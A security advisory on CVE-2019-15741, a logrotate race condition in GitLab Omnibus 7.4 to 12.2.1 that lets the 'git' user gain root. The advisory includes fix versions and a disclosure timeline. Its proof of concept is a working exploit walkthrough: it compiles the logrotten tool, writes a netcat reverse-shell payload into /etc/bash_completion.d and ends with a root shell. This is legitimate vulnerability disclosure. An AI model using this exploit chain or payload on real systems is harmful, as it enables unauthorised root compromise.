GitLab Omnibus 12.2.1 Logrotate Privilege Escalation Vulnerability

# Privilege Escalation via Logrotate in Gitlab Omnibus 

## Overview
Target: GitLab Omnibus
Vendor: GitLab
Version: 7.4 through 12.2.1
Fixed in Version: 12.2.3, 12.1.8 and 12.0.8
CVE: CVE-2019-15741
Accessibility: Local
Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)


## Summary
Omnibus GitLab is a way to package different services and tools required to run GitLab, so that most users can install it without laborious configuration.


## Vulnerability Description
GitLab Omnibus sets the ownership of the log directory to the system-user "git", which might let local users obtain root access because of unsafe 
interaction with logrotate.

User “git” owns the log directory /var/log/gitlab:

```
# logdir in gitlab-ee: 
drwxr-xr-x 19 git root 4096 May 12 18:43 /var/log/gitlab/
```

Log files rotate once a day (or any other frequency if configured) by logrotate as user root. The configuration does not use the “su” directive:
```
# logrotate-config of gitlab-ee: 
/var/log/gitlab/gitlab-workhorse/*.log { 
  hourly 
  rotate 30 
  compress 
  copytruncate 
  missingok 
  postrotate 
  endscript 
}
```

Due to logrotate is prone to a race-condition it is possible for user "git" to replace the
directory /var/log/gitlab/gitlab-workhorse/ with a symbolic link to any
directory(for example /etc/bash_completion.d). Logrotate will place
files as user “root” into /etc/bash_completition.d and set the owner of the file to "git".
An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse
root-shell will be executed.

Details of the race-condition in logrotate can be found at:
* https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
* https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
* https://github.com/whotwagner/logrotten

## Proof of Concept
The following example illustrates how an attacker who already gained a shell as user “git”, can elevate his privileges to “root”. After downloading and compiling, 
the exploit gets executed and waits until the next daily run of logrotate. If the rotation of the log file succeeds, a new file that contains the reverse shell 
payload, will be written into /etc/bash_completition.d/ with owner “git”. As soon as root logs in, the reverse shell gets executed and opens a shell on the 
attackers netcat listener:

```
[email protected]:~$ git clone https://github.com/whotwagner/logrotten.git 
/tmp/logrotten
Cloning into '/tmp/logrotten'...
remote: Enumerating objects: 84, done.
remote: Counting objects: 100% (84/84), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 84 (delta 35), reused 64 (delta 24), pack-reused 0
Unpacking objects: 100% (84/84), done.
[email protected]:~$ cd /tmp/logrotten && gcc -o logrotten logrotten.c
[email protected]:/tmp/logrotten$ ./logrotten -c /var/log/gitlab/gitlab-
workhorse/something.log
Waiting for rotating /var/log/gitlab/gitlab-workhorse/something.log...
Renamed /var/log/gitlab/gitlab-workhorse with /var/log/gitlab/gitlab-workhorse2 
and created symlink to /etc/bash_completion.d
Done!
[email protected]:/tmp/logrotten$ ls -l /etc/bash_completion.d/
total 20
-rw-r--r-- 1 root root   439 Sep 28  2018 git-prompt
-rw-r--r-- 1 root root 11144 Oct 28  2018 grub
-rw-r--r-- 1 git  git     33 May 12 18:44 something.log.1.gz
[email protected]:/tmp/logrotten$ echo  "if [ \`id -u\` -eq 0 ]; then (/bin/nc -e 
/bin/bash localhost 3333 &); fi" > /etc/bash_completion.d/something.log.1.gz
[email protected]:/tmp/logrotten$ nc -nvlp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55526
id
uid=0(root) gid=0(root) groups=0(root)
ls -la
total 32
drwx------  4 root root 4096 May 12 18:47 .
drwxr-xr-x 22 root root 4096 Apr 25 18:31 ..
-rw-------  1 root root 1405 May 12 19:59 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  3 root root 4096 May 12 18:47 .config
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Apr 25 18:40 .ssh
-rw-------  1 root root 2194 May 12 17:29 .viminfo
```

## Vulnerable Versions
7.4 through 12.2.1

## Impact
An attacker who already achieved a valid shell as user “git” could elevate the privileges to “root”. The fact that another exploit is 
needed to get a shell lowers the severity from high to low.

## Solution
Update to GitLab Security Release: 12.2.3, 12.1.8, and 12.0.8

## References:
* https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released/
* https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4380
* https://hackerone.com/reports/578119

## Vendor Contact Timeline

* `2019-05-12` Contacting vendor through HackerOne 
* `2019-05-31` GitLab acknowledges the vulnerability 
* `2019-08-22` Notification from GitLab about the release that includes a patch 
* `2019-08-30` GitLab changed the severity from high to low and released an update that fixed the problem 
* `2019-09-30` Public disclosure  

## Advisory URL
http://www.ait.ac.at/ait-sa-20190930-01-privilege-escalation-via-logrotate-in-gitlab-omnibus